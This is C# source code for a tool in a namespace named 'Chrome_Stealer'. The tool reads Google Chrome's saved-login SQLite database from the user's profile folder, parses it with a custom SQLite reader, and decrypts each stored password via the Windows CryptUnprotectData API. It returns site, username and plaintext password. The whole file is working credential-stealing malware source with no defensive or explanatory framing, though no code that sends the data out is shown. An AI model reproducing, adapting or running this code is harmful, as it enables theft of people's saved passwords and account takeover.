﻿using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.Runtime.InteropServices;

namespace Chrome_Stealer
{
    class Chrome
    {
        /// <summary>
        /// Reads login information.
        /// </summary>
        /// <returns>
        /// Returns Host, User and Pass.
        /// </returns>
        public static List<string[]> getPWs()
        {
            List<string[]> result = new List<string[]>();
            string baseName = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
            if (File.Exists(baseName))
            {
                Sqlite_Handler handler = new Sqlite_Handler(baseName);
                handler.ReadTable("logins");
                int num = 0;
                int num2 = handler.GetRowCount() - 1;
                for (num = 0; num <= num2; num++)
                {
                    string host = handler.GetValue(num, "origin_url");
                    string user = handler.GetValue(num, "username_value");
                    string pass = DecryptChr.Decrypt(Encoding.Default.GetBytes(handler.GetValue(num, "password_value")));
                    result.Add(new string[] { "Chrome", host, user, pass });
                }
            }
            return result;
        }
    }

    class Sqlite_Handler
    {
        #region structs
        [StructLayout(LayoutKind.Sequential)]
        private struct sqlite_master_entry
        {
            public long row_id;
            public string item_type;
            public string item_name;
            public string astable_name;
            public long root_num;
            public string sql_statement;
        }
        [StructLayout(LayoutKind.Sequential)]
        private struct table_entry
        {
            public long row_id;
            public string[] content;
        }
        [StructLayout(LayoutKind.Sequential)]
        private struct record_header_field
        {
            public long size;
            public long type;
        }
        #endregion

        private byte[] SQLDataTypeSize;
        private byte[] db_bytes;
        private ushort page_size;
        private ulong encoding;
        private sqlite_master_entry[] master_table_entries;
        private table_entry[] table_entries;
        private string[] field_names;

        public Sqlite_Handler(string dbFile)
        {
            SQLDataTypeSize = new byte[] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
            if (File.Exists(dbFile))
            {
                FileSystem.FileOpen(1, dbFile, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
                string str = Strings.Space((int)FileSystem.LOF(1));
                FileSystem.FileGet(1, ref str, -1L, false);
                FileSystem.FileClose(new int[] { 1 });
                db_bytes = Encoding.Default.GetBytes(str);
                if (Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
                {
                    throw new Exception("Not a valid SQLite 3 Database File");
                }
                if (db_bytes[0x34] != 0)
                {
                    throw new Exception("Auto-vacuum capable database is not supported");
                }
                if (decimal.Compare(new decimal(ConvertToInteger(0x2c, 4)), 4M) >= 0)
                {
                    throw new Exception("No supported Schema layer file-format");
                }
                page_size = (ushort)ConvertToInteger(0x10, 2);
                encoding = ConvertToInteger(0x38, 4);
                if (decimal.Compare(new decimal(encoding), decimal.Zero) == 0)
                    encoding = 1L;
                ReadMasterTable(100L);
            }

        }

        public string GetValue(int row_num, string field)
        {
            int num = -1;
            int index = 0;
            int length = this.field_names.Length;
            for (index = 0; index <= length; index++)
            {
                if (this.field_names[index].ToLower().CompareTo(field.ToLower()) == 0)
                {
                    num = index;
                    break;
                }
            }
            if (num == -1)
            {
                return null;
            }
            return this.GetValue(row_num, num);
        }

        public string GetValue(int row_num, int field)
        {
            if (row_num >= this.table_entries.Length)
            {
                return null;
            }
            if (field >= this.table_entries[row_num].content.Length)
            {
                return null;
            }
            return this.table_entries[row_num].content[field];
        }

        public int GetRowCount()
        {
            return this.table_entries.Length;
        }

        public bool ReadTable(string TableName)
        {
            int index = -1;
            int num2 = 0;
            int length = this.master_table_entries.Length;
            for (num2 = 0; num2 <= length; num2++)
            {
                if (this.master_table_entries[num2].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
                {
                    index = num2;
                    break;
                }
            }
            if (index == -1)
            {
                return false;
            }
            string[] strArray = this.master_table_entries[index].sql_statement.Substring(this.master_table_entries[index].sql_statement.IndexOf("(") + 1).Split(new char[] { ',' });
            int num5 = strArray.Length - 1;
            for (num2 = 0; num2 <= num5; num2++)
            {
                strArray[num2] = Strings.LTrim(strArray[num2]);
                int num3 = strArray[num2].IndexOf(" ");
                if (num3 > 0)
                {
                    strArray[num2] = strArray[num2].Substring(0, num3);
                }
                if (strArray[num2].IndexOf("UNIQUE") == 0)
                {
                    break;
                }
                this.field_names = (string[])Utils.CopyArray((Array)this.field_names, new string[num2 + 1]);
                this.field_names[num2] = strArray[num2];
            }
            return this.ReadTableFromOffset((ulong)((this.master_table_entries[index].root_num - 1L) * this.page_size));
        }

        private bool ReadTableFromOffset(ulong Offset)
        {
            if (this.db_bytes[(int)Offset] == 13)
            {
                ushort num3 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One));
                int length = 0;
                if (this.table_entries != null)
                {
                    length = this.table_entries.Length;
                    this.table_entries = (table_entry[])Utils.CopyArray((Array)this.table_entries, new table_entry[(this.table_entries.Length + num3) + 1]);
                }
                else
                {
                    this.table_entries = new table_entry[num3 + 1];
                }
                int num2 = 0;
                int num16 = num3;
                for (num2 = 0; num2 <= num16; num2++)
                {
                    record_header_field[] _fieldArray = new record_header_field[0];
                    ulong num = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(num2 * 2))), 2);
                    if (decimal.Compare(new decimal(Offset), 100M) != 0)
                    {
                        num += Offset;
                    }
                    int endIndex = this.GVL((int)num);
                    long num10 = this.CVL((int)num, endIndex);
                    int num9 = this.GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)));
                    this.table_entries[length + num2].row_id = this.CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num9);
                    num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num9), new decimal(num))), decimal.One));
                    endIndex = this.GVL((int)num);
                    num9 = endIndex;
                    long num8 = this.CVL((int)num, endIndex);
                    long num11 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)), decimal.One));
                    for (int i = 0; num11 < num8; i++)
                    {
                        _fieldArray = (record_header_field[])Utils.CopyArray((Array)_fieldArray, new record_header_field[i + 1]);
                        endIndex = num9 + 1;
                        num9 = this.GVL(endIndex);
                        _fieldArray[i].type = this.CVL(endIndex, num9);
                        if (_fieldArray[i].type > 9L)
                        {
                            if (this.IsOdd(_fieldArray[i].type))
                            {
                                _fieldArray[i].size = (long)Math.Round((double)(((double)(_fieldArray[i].type - 13L)) / 2.0));
                            }
                            else
                            {
                                _fieldArray[i].size = (long)Math.Round((double)(((double)(_fieldArray[i].type - 12L)) / 2.0));
                            }
                        }
                        else
                        {
                            _fieldArray[i].size = this.SQLDataTypeSize[(int)_fieldArray[i].type];
                        }
                        num11 = (num11 + (num9 - endIndex)) + 1L;
                    }
                    this.table_entries[length + num2].content = new string[(_fieldArray.Length - 1) + 1];
                    int num5 = 0;
                    int index = 0;
                    int num17 = _fieldArray.Length - 1;
                    for (index = 0; index <= num17; index++)
                    {
                        if (_fieldArray[index].type > 9L)
                        {
                            if (!this.IsOdd(_fieldArray[index].type))
                            {
                                if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0)
                                {
                                    this.table_entries[length + num2].content[index] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num8)), new decimal(num5))), (int)_fieldArray[index].size);
                                }
                                else if (decimal.Compare(new decimal(this.encoding), 2M) == 0)
                                {
                                    this.table_entries[length + num2].content[index] = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num8)), new decimal(num5))), (int)_fieldArray[index].size);
                                }
                                else if (decimal.Compare(new decimal(this.encoding), 3M) == 0)
                                {
                                    this.table_entries[length + num2].content[index] = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num8)), new decimal(num5))), (int)_fieldArray[index].size);
                                }
                            }
                            else
                            {
                                this.table_entries[length + num2].content[index] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num8)), new decimal(num5))), (int)_fieldArray[index].size);
                            }
                        }
                        else
                        {
                            this.table_entries[length + num2].content[index] = Conversions.ToString(this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num8)), new decimal(num5))), (int)_fieldArray[index].size));
                        }
                        num5 += (int)_fieldArray[index].size;
                    }
                }
            }
            else if (this.db_bytes[(int)Offset] == 5)
            {
                ushort num15 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One));
                int num14 = 0;
                int num18 = num15;
                for (num14 = 0; num14 <= num18; num14++)
                {
                    ushort num13 = (ushort)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(num14 * 2))), 2);
                    this.ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger((int)(Offset + num13), 4)), decimal.One), new decimal(this.page_size))));
                }
                this.ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One), new decimal(this.page_size))));
            }
            return true;
        }

        private int GVL(int startIndex)
        {
            if (startIndex > this.db_bytes.Length)
            {
                return 0;
            }
            int index = startIndex;
            int num3 = startIndex + 8;
            for (index = startIndex; index <= num3; index++)
            {
                if (index > (this.db_bytes.Length - 1))
                {
                    return 0;
                }
                if ((this.db_bytes[index] & 0x80) != 0x80)
                {
                    return index;
                }
            }
            return (startIndex + 8);
        }

        private long CVL(int startIndex, int endIndex)
        {
            endIndex++;
            byte[] buffer = new byte[8];
            int num5 = endIndex - startIndex;
            bool flag = false;
            if ((num5 == 0) | (num5 > 9))
            {
                return 0L;
            }
            if (num5 == 1)
            {
                buffer[0] = (byte)(this.db_bytes[startIndex] & 0x7f);
                return BitConverter.ToInt64(buffer, 0);
            }
            if (num5 == 9)
            {
                flag = true;
            }
            int num3 = 1;
            int num4 = 7;
            int index = 0;
            if (flag)
            {
                buffer[0] = this.db_bytes[endIndex - 1];
                endIndex--;
                index = 1;
            }
            int num2 = endIndex;
            int num7 = startIndex;
            for (num2 = endIndex - 1; num2 >= num7; num2 += -1)
            {
                if ((num2 - 1) >= startIndex)
                {
                    buffer[index] = (byte)((((byte)(this.db_bytes[num2] >> ((num3 - 1) & 7))) & (((int)0xff) >> num3)) | ((byte)(this.db_bytes[num2 - 1] << (num4 & 7))));
                    num3++;
                    index++;
                    num4--;
                }
                else if (!flag)
                {
                    buffer[index] = (byte)(((byte)(this.db_bytes[num2] >> ((num3 - 1) & 7))) & (((int)0xff) >> num3));
                }
            }
            return BitConverter.ToInt64(buffer, 0);
        }

        private bool IsOdd(long value)
        {
            return ((value & 1L) == 1L);
        }

        private void ReadMasterTable(ulong Offset)
        {
            if (this.db_bytes[(int)Offset] == 13)
            {
                ushort num3 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One));
                int length = 0;
                if (this.master_table_entries != null)
                {
                    length = this.master_table_entries.Length;
                    this.master_table_entries = (sqlite_master_entry[])Utils.CopyArray((Array)this.master_table_entries, new sqlite_master_entry[(this.master_table_entries.Length + num3) + 1]);
                }
                else
                {
                    this.master_table_entries = new sqlite_master_entry[num3 + 1];
                }
                int num2 = 0;
                int num13 = num3;
                for (num2 = 0; num2 <= num13; num2++)
                {
                    ulong num = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(num2 * 2))), 2);
                    if (decimal.Compare(new decimal(Offset), 100M) != 0)
                    {
                        num += Offset;
                    }
                    int endIndex = this.GVL((int)num);
                    long num8 = this.CVL((int)num, endIndex);
                    int num7 = this.GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)));
                    this.master_table_entries[length + num2].row_id = this.CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num7);
                    num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num7), new decimal(num))), decimal.One));
                    endIndex = this.GVL((int)num);
                    num7 = endIndex;
                    long num6 = this.CVL((int)num, endIndex);
                    long[] numArray = new long[5];
                    int index = 0;
                    index = 0;
                    do
                    {
                        endIndex = num7 + 1;
                        num7 = this.GVL(endIndex);
                        numArray[index] = this.CVL(endIndex, num7);
                        if (numArray[index] > 9L)
                        {
                            if (this.IsOdd(numArray[index]))
                            {
                                numArray[index] = (long)Math.Round((double)(((double)(numArray[index] - 13L)) / 2.0));
                            }
                            else
                            {
                                numArray[index] = (long)Math.Round((double)(((double)(numArray[index] - 12L)) / 2.0));
                            }
                        }
                        else
                        {
                            numArray[index] = this.SQLDataTypeSize[(int)numArray[index]];
                        }
                        index++;
                    }
                    while (index <= 4);
                    if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0)
                    {
                        this.master_table_entries[length + num2].item_type = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num6))), (int)numArray[0]);
                    }
                    else if (decimal.Compare(new decimal(this.encoding), 2M) == 0)
                    {
                        this.master_table_entries[length + num2].item_type = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num6))), (int)numArray[0]);
                    }
                    else if (decimal.Compare(new decimal(this.encoding), 3M) == 0)
                    {
                        this.master_table_entries[length + num2].item_type = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num6))), (int)numArray[0]);
                    }
                    if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0)
                    {
                        this.master_table_entries[length + num2].item_name = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num6)), new decimal(numArray[0]))), (int)numArray[1]);
                    }
                    else if (decimal.Compare(new decimal(this.encoding), 2M) == 0)
                    {
                        this.master_table_entries[length + num2].item_name = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num6)), new decimal(numArray[0]))), (int)numArray[1]);
                    }
                    else if (decimal.Compare(new decimal(this.encoding), 3M) == 0)
                    {
                        this.master_table_entries[length + num2].item_name = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num6)), new decimal(numArray[0]))), (int)numArray[1]);
                    }
                    this.master_table_entries[length + num2].root_num = (long)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num6)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2]))), (int)numArray[3]);
                    if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0)
                    {
                        this.master_table_entries[length + num2].sql_statement = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num6)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
                    }
                    else if (decimal.Compare(new decimal(this.encoding), 2M) == 0)
                    {
                        this.master_table_entries[length + num2].sql_statement = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num6)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
                    }
                    else if (decimal.Compare(new decimal(this.encoding), 3M) == 0)
                    {
                        this.master_table_entries[length + num2].sql_statement = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num6)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
                    }
                }
            }
            else if (this.db_bytes[(int)Offset] == 5)
            {
                ushort num12 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One));
                int num11 = 0;
                int num14 = num12;
                for (num11 = 0; num11 <= num14; num11++)
                {
                    ushort startIndex = (ushort)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(num11 * 2))), 2);
                    if (decimal.Compare(new decimal(Offset), 100M) == 0)
                    {
                        this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(startIndex, 4)), decimal.One), new decimal(this.page_size))));
                    }
                    else
                    {
                        this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger((int)(Offset + startIndex), 4)), decimal.One), new decimal(this.page_size))));
                    }
                }
                this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One), new decimal(this.page_size))));
            }
        }



        private ulong ConvertToInteger(int startIndex, int Size)
        {
            if ((Size > 8) | (Size == 0))
                return 0L;
            ulong num3 = 0L;
            int num2 = 0;
            int num4 = Size - 1;
            for (num2 = 0; num2 <= num4; num2++)
            {
                num3 = (num3 << 8) | this.db_bytes[startIndex + num2];
            }
            return num3;
        }
    }

    [StandardModule]
    internal sealed class DecryptChr
    {
        [DllImport("Crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern bool CryptUnprotectData(ref DATA_BLOB pDataIn, string szDataDescr, ref DATA_BLOB pOptionalEntropy, IntPtr pvReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPromptStruct, int dwFlags, ref DATA_BLOB pDataOut);
        public static string Decrypt(byte[] Datas)
        {
            DATA_BLOB data_blob3 = new DATA_BLOB();
            IntPtr ptr = new IntPtr();
            CRYPTPROTECT_PROMPTSTRUCT cryptprotect_promptstruct = new CRYPTPROTECT_PROMPTSTRUCT();
            DATA_BLOB pDataIn = new DATA_BLOB();
            DATA_BLOB pDataOut = new DATA_BLOB();
            GCHandle handle = GCHandle.Alloc(Datas, GCHandleType.Pinned);
            pDataIn.pbData = handle.AddrOfPinnedObject();
            pDataIn.cbData = Datas.Length;
            handle.Free();
            DATA_BLOB pOptionalEntropy = data_blob3;
            CRYPTPROTECT_PROMPTSTRUCT pPromptStruct = cryptprotect_promptstruct;
            CryptUnprotectData(ref pDataIn, null, ref pOptionalEntropy, ptr, ref pPromptStruct, 0, ref pDataOut);
            byte[] destination = new byte[pDataOut.cbData + 1];
            Marshal.Copy(pDataOut.pbData, destination, 0, pDataOut.cbData);
            string str2 = Encoding.Default.GetString(destination);
            return str2.Substring(0, str2.Length - 1);
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct CRYPTPROTECT_PROMPTSTRUCT
        {
            public int cbSize;
            public DecryptChr.CryptProtectPromptFlags dwPromptFlags;
            public IntPtr hwndApp;
            public string szPrompt;
        }

        [Flags]
        public enum CryptProtectPromptFlags
        {
            CRYPTPROTECT_PROMPT_ON_PROTECT = 2,
            CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct DATA_BLOB
        {
            public int cbData;
            public IntPtr pbData;
        }
    }
}
